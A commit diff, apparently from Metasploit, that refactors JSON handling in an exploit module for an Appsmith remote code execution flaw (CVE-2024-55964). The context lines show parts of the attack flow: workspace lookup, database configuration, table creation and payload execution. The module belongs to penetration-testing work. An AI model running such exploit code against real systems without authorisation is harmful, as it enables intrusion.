Apply suggestions from code review

Co-authored-by: msutovsky-r7 <[email protected]>

Author: Takahiro-Yoko

modules/exploits/linux/http/appsmith_rce_cve_2024_55964.rb

@@ -97,7 +97,7 @@ def exploit
     })
     fail_with(Failure::Unknown, 'Failed to access workspaces.') unless res&.code == 200
 
-    workspace_id = res.get_json_document&.dig('data')&.first&.dig('id')
+    workspace_id = res.get_json_document&.dig('data',0,'id')
 
     res = send_request_cgi({
       'method' => 'GET',
@@ -148,10 +148,10 @@ def exploit
       'ctype' => 'application/json',
       'data' => db_conf
     })
-    fail_with(Failure::Unknown, 'Failed to save DB configuration.') unless res&.code == 201 && res.get_json_document['responseMeta']['success']
+    fail_with(Failure::Unknown, 'Failed to save DB configuration.') unless res&.code == 201 && res.get_json_document&.dig('responseMeta','success')
     print_status('Successfully saved DB configuration.')
 
-    datasource_id = res.get_json_document['data']['id']
+    datasource_id = res.get_json_document&.dig('data','id')
 
     table_name = rand_text_alpha(4)
     res = send_request_cgi({
@@ -164,7 +164,7 @@ def exploit
         suggested: true
       }.to_json
     })
-    fail_with(Failure::Unknown, 'Failed to create temporary table.') unless res&.code == 200 && res.get_json_document['responseMeta']['success']
+    fail_with(Failure::Unknown, 'Failed to create temporary table.') unless res&.code == 200 && res.get_json_document&.dig('responseMeta','success')
 
     res = send_request_cgi({
       'method' => 'POST',
@@ -176,7 +176,7 @@ def exploit
         suggested: true
       }.to_json
     })
-    fail_with(Failure::Unknown, 'Failed to execute payload.') unless res&.code == 200 && res.get_json_document['responseMeta']['success']
+    fail_with(Failure::Unknown, 'Failed to execute payload.') unless res&.code == 200 && res.get_json_document&.dig('responseMeta','success')
   end
 
 end